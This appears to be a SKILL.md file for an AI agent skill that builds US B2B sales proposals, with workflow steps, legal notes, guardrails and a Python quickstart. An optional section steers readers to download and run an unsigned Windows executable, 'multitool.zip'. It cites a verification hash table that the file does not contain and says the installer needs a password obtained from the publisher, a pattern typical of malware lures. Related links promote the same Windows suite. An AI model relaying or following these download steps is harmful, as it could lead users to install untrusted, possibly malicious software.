Proposal Builder

Assembles a US B2B proposal from a scope sheet and a template, with scope, pricing, terms and signature blocks checked for gaps. Written for US B2B sales teams that send written proposals to buyers.

Use this skill when someone asks for:

• b2b proposal template
• proposal builder
• sales proposal checklist
• proposal pricing section

The job

Proposals get assembled from last quarter's deck, so scope, price, terms and the signature block end up contradicting each other.

What you get

1. Collect the scope items, the price, the terms and the date the proposal expires.
2. Map each scope line to the template placeholders so every number comes from one source.
3. Fill the proposal and flag every blank field a buyer will notice.
4. Check the claims that need a source and the terms the sales team cannot commit to.

Output contract:

• proposal - the filled document built from the scope sheet
• scope_table - numbered line items with quantities and unit prices in USD
• terms_block - payment, validity, start date and exclusions
• open_items - blank fields and claims that need sign-off before it goes out

US specifics that matter

• ESIGN and the UETA give an electronic signature the same legal effect as a handwritten one when the parties consent to electronic records.
• Section 5 of the FTC Act applies to claims made in a proposal, including the performance claims in a reference section.
• UCC Article 2 governs sales of goods in the US, and 2-205 makes a written offer held open for a stated time a firm offer.
• Federal buyers work under the FAR, and the FAR requires certified cost or pricing data on many negotiated contracts.
• IRS Form W-9 with the buyer's EIN is the standard US request before a first invoice.

Guardrails (hard rules)

• Never commit to a discount, a delivery date or a scope item that the deal owner has not approved.
• Never paste a competitor's name or pricing into the proposal.
• Never sign or send the proposal; the buyer and the legal reviewer do that.
• Never present a customer reference or a performance number that has no source.

Quickstart

1. Fill in the brief

templates/proposal-body.md is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

python3 scripts/render_proposal.py --input proposal-body.md --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/proposal-essentials.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

Required sections

• Scope: numbered items that say what gets delivered, not marketing adjectives.
• Pricing: line items, unit price, quantity, total in USD and whether tax is included.
• Terms: payment schedule, start date, price validity date and the change process.
• Signatures: name, title, date and the exact legal name of each entity.

Claims that get challenged

• A performance number in a case study needs its source and its context.
• A guaranteed uptime needs the SLA terms behind it.
• A compliance claim needs the actual attestation, not a paraphrase.
• A reference from a customer needs that customer's written permission.

Signature and record rules

• Keep the final signed version and the acceptance date with the contract file.
• A change after signature is an amendment, not an email.
• A price with no stated validity date can be treated as an open offer under UCC 2-205.
• An electronic signature works when both sides agreed to electronic records.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows multi-tool app for the workflows in this catalog, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Check the download before you run it. PowerShell:

Get-FileHash .\multitool.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start multitool/toolkit.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.

The installer asks for a password; ask the publisher for it before you start.

Files in this bundle

• SKILL.md - this file
• references/proposal-essentials.md - What a US proposal needs and what goes wrong in it
• templates/proposal-body.md - the brief to fill in
• scripts/render_proposal.py - the working script

Verify the bundle

python3 scripts/render_proposal.py --input proposal-body.md --out ./out

Related

• AI Creative Studio - one brief into ad copy, social posts and video scripts.
• B2B Lead Research Agent - find the US accounts to run this against.
• AI Trading - research the tickers of public competitors before you write comparisons.
• Windows Multi-Tool Suite - one Windows kit that sets up all three workflows in a single folder.